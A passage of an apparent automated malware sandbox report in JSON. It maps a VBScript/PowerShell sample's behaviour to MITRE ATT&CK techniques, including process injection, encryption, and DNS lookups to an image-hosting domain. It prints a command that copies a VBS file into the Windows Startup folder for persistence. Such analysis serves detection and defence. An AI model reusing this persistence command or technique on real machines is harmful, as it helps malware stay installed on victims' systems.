keys"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"References URL in command line"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops script (vb/js) files"},{"type":"informative","value":"Drops temp files"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Ingress Tool Transfer"},{"attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Persistence","technique":"Component Object Model Hijacking"},{"attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Access Token Manipulation"},{"attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Data Staging"},{"attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contains ability to communicate with network (API string)"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Application Layer Protocol"},{"attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"suspicious","value":"Contains ability to load binary assembly using powershell"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Reflective Code Loading"},{"attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"Software Discovery"},{"attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Location Discovery"},{"attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"suspicious","value":"Checks network status using ping"},{"type":"informative","value":"Contains ability to identify remote systems"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"Remote System Discovery"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically to import cryptographic keys into a CSP"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Creates new processes"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Execution","technique":"Native API"},{"attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Renames files"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerading"},{"attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Language Discovery"},{"attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Process Injection"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Calls an API's typically used for searching a directory for a files"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"References Windows filepaths for DLLs (possible dropped files)"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Found system commands related strings"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"Process Discovery"},{"attack_id":"T1016.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/001","identifiers":[{"type":"informative","value":"Checks internet connectivity using tracert/ping"},{"type":"informative","value":"Contains ability to check internet connectivity"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Discovery","technique":"Internet Connection Discovery"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Queries the display settings of system associated file extensions"},{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Creates VBS file in Windows Startup folder"},{"type":"informative","value":"Writes a file to the startup folder"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder"},{"attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Calls an API typically used to set the date and time of the file"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Timestomp"},{"attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"informative","value":"Drops cabinet archive files"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Collection","technique":"Archive Collected Data"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"}],"rule_matches":{},"sandbox_signatures":[{"category":"Environment Awareness","description":"\"WScript.exe\" called \"GetForegroundWindow\" (UID: 00000000-00003484)","id":"api-142","level":"informative","mitre_attack_id":"T1010","name":"Calls an API possibly used to retrieve a handle to the foreground window","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","id":"api-173","level":"informative","mitre_attack_id":"T1083","name":"Tries to access Powershell profile file","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 792)\n \"WScript.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 792)\n \"WScript.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 792)\n \"powershell.exe\" wrote 32 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1000)\n \"powershell.exe\" wrote 52 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1000)\n \"powershell.exe\" wrote 8 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1000)","id":"api-0","level":"suspicious","mitre_attack_id":"T1055","name":"Writes data to a remote process","origin":"API Call","relevance":6,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"details too long to display","id":"api-176","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to retrieve function addresses","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$23","id":"target-486","level":"informative","mitre_attack_id":"T1059.001","name":"Executes Powershell command strings","origin":"Monitored Target","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","id":"registry-20","level":"informative","mitre_attack_id":"T1012","name":"Reads Windows Trust Settings","origin":"Registry Access","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$24","id":"api-161","level":"informative","mitre_attack_id":"T1083","name":"Tries to access non-existent files (non-executable)","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$25","id":"api-233","level":"informative","mitre_attack_id":"T1486","name":"Calls an API typically to import cryptographic keys into a CSP","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"\"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"b20e0a7c1261e9e45edfcef304117c2ed32f64931c1f4ea40a910fac8136040c\"}\n \"powershell.exe\" called \"BCryptEncrypt\" with parameters {\"$datain\": \"ac3b502dd922a86e2e597b17213c098bd0e06ba39ff18f35ad8eb5b0152379e572f7a4b2916ad9c721196ae60fad03caf6c32958cb25cdb733e93ac098936cbbac8147c047c72a0f450ae75e3bc3128f62b9c20ede4984c25e90bf37417530aaf17162575725f1545bc6617cf08f0d28f2e965f69c8d2e2a067d456178ddf37b63a007e1ffcf6b6890ac1a1c0751e74b90acc0c09eb0f3f57650252484c2e04b\"}","id":"api-206","level":"informative","mitre_attack_id":"T1573.002","name":"Calls an API typically used to encrypt a block of data","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$26","id":"registry-18","level":"informative","mitre_attack_id":"T1012","name":"Accesses Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$27","id":"api-7","level":"informative","mitre_attack_id":"T1129","name":"Loads modules at runtime","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"WScript.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff070000030000000000000004000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff070000030000000000000004000000d8210000000001000600004f\"}","id":"api-108","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve information about the current system","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"WScript.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","id":"registry-1","level":"informative","mitre_attack_id":"T1082","name":"Reads the cryptographic machine GUID","origin":"Registry Access","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$28","id":"target-103","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes that are not known child processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WLDY.vbs\" has type \"Little-endian UTF-16 Unicode text with very long lines with CRLF line terminators\"- [targetUID: 00000000-00003484]","id":"binary-40","level":"informative","mitre_attack_id":"T1105","name":"Drops script (vb/js) files","origin":"Binary File","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"$29","id":"hooks-8","level":"informative","mitre_attack_id":"T1056.004","name":"Installs hooks/patches the running process","origin":"Hook Detection","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2164)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 1544)\n \"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 2724)","id":"api-1","level":"informative","mitre_attack_id":"T1562.001","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","origin":"API Call","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Calls an API typically to import cryptographic keys into a CSP\n Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP\n Matched sigs: Calls an API typically used to encrypt a block of data\n Matched sigs: Calls an API typically used to decrypt a block of data\n Matched sigs: Commandline contains long base64 encoded string\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)","id":"summary-28","level":"informative","mitre_attack_id":"T1027","name":"Shows ability to obfuscate file or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"External Systems","description":"Detected alert \"ET INFO Windows OS Submitting USB Metadata to Microsoft\" (SID: 2025275, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET USER_AGENTS Microsoft Device Metadata Retrieval Client User-Agent\" (SID: 2027390, Rev: 4, Severity: 3) categorized as \"Misc activity\"\n Detected alert \"ET INFO Microsoft Connection Test\" (SID: 2031071, Rev: 4, Severity: 3) categorized as \"Misc activity\"","id":"suricata-0","level":"informative","name":"Detected Suricata Alert","origin":"Suricata Alerts","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"$2a","id":"string-601","level":"informative","mitre_attack_id":"T1071","name":"Contains ability to communicate with network (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"\" (Indicator: \"ping\"; File: \"cmd.exe\")","id":"string-126","level":"informative","mitre_attack_id":"T1082","name":"Found system commands related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"\"powershell.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"1cea6770\"\n \"lpReserved\": \"0\"}","id":"api-191","level":"informative","mitre_attack_id":"T1071.001","name":"Calls an API typically used to to receive the response to a HTTP requests","origin":"API Call","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"$2b","id":"registry-136","level":"informative","mitre_attack_id":"T1112","name":"Writes registry keys","origin":"Registry Access","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$2c","id":"registry-130","level":"informative","mitre_attack_id":"T1012","name":"Queries TCP/IP interface details","origin":"Registry Access","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$2d","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FD5B0000\n \"cmd.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FD5B0000\n \"PING.EXE\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FD5B0000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at FD5B0000","id":"module-10","level":"informative","mitre_attack_id":"T1129","name":"Loads the RPC (Remote Procedure Call) module DLL","origin":"Loaded Module","sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"$2e","id":"api-8","level":"informative","mitre_attack_id":"T1129","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","origin":"API Call","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WLDY.vbs\" has type \"Little-endian UTF-16 Unicode text with very long lines with CRLF line terminators\"- [targetUID: 00000000-00003484]\n \"Tar870B.tmp\" has type \"data\"- Location: [%TEMP%\\Tar870B.tmp]- [targetUID: 00000000-00002724]\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63174 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002724]\n \"Cab870A.tmp\" has type \"Microsoft Cabinet archive data Windows 2000/XP setup 63174 bytes 1 file at 0x2c +A \"authroot.stl\" number 1 6 datablocks 0x1 compression\"- Location: [%TEMP%\\Cab870A.tmp]- [targetUID: 00000000-00002724]\n \"77EC63BDA74BD0D0E0426DC8F8008506\" has type \"data\"- Location: [%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\MetaData\\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00002724]","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00002120)","id":"target-348","level":"informative","mitre_attack_id":"T1016.001","name":"Checks internet connectivity using tracert/ping","origin":"Monitored Target","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Commandline contains long base64 encoded string \"Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287.......\" in [Source : 00000000-00002724]\n Commandline contains long base64 encoded string \"4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51.......\" in [Source : 00000000-00002724]","id":"string-509","level":"informative","mitre_attack_id":"T1132","name":"Commandline contains long base64 encoded string","origin":"File/Memory","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Process \"PING.EXE\" with commandline \"ping 127.0.0.1 -n 5\" (UID: 00000000-00002120)","id":"target-22","level":"suspicious","mitre_attack_id":"T1018","name":"Checks network status using ping","origin":"Monitored Target","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"$2f","id":"registry-19","level":"informative","mitre_attack_id":"T1112","name":"Modifies Software Policy Settings","origin":"Registry Access","relevance":10,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"System Security","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","id":"registry-36","level":"informative","mitre_attack_id":"T1012","name":"Queries sensitive IE security settings","origin":"Registry Access","relevance":8,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','C:\\Use\" (Indicator: \"cmd.exe /c\"; Source: \"00000000-00003484-00000C41-5590335479\")\n Found string \"/c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command [System.IO.File]::Copy('C:\\ESL.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ WLDY.vbs')\"\" (Indicator: \"cmd.exe /c\"; File: \"cmd.exe\")","id":"string-174","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to executes commands or batch file","origin":"File/Memory","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"\"powershell.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"1cea6770\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}","id":"api-190","level":"informative","mitre_attack_id":"T1071.001","name":"Calls an API typically used to send the specified request to the HTTP server","origin":"API Call","relevance":2,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"HTTPS traffic to \"104.21.45.138\" on port \"443\"","id":"network-38","level":"informative","mitre_attack_id":"T1573","name":"Uses HTTPS for communication","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Dropped file \"%LOCALAPPDATA%\\ow\\Microsoft\\CryptnetUrlCache\\Content\\77EC63BDA74BD0D0E0426DC8F8008506\" has high entropy 7.982409519951571\n Dropped file \"%TEMP%\\Cab870A.tmp\" has high entropy 7.996033351047595","id":"binary-60","level":"informative","mitre_attack_id":"T1027","name":"Dropped file has high entropy (likely encrypted/compressed content)","origin":"Binary File","relevance":5,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"fe0.google.com\"\n \"uploaddeimagens.com.br\"","id":"network-51","level":"informative","mitre_attack_id":"T1071.004","name":"Queries DNS server","origin":"Network Traffic","relevance":1,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"General","description":"\"WScript.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\Public\\desktop.ini\"\n \"powershell.exe\" reads file \"C:\\Users\\Public\\Desktop\\desktop.ini\"","id":"api-6","level":"informative","mitre_attack_id":"T1083","name":"Reads configuration files (.ini files)","origin":"API Call","relevance":4,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"WScript.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"PING.EXE\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","id":"api-264","level":"informative","mitre_attack_id":"T1055.003","name":"Creates a thread in a self process","origin":"API Call","relevance":3,"sources":[{"report_id":"64e75efeea7fccc5ca0e0677","report_type":"sandbox"}]},{"category":"Network Related","description":"Found string \"\"%WINDIR%\\System32\\cmd.exe\" /c ping 127.0.0.1 -n 5 & cmd.exe /c \"powershell -command 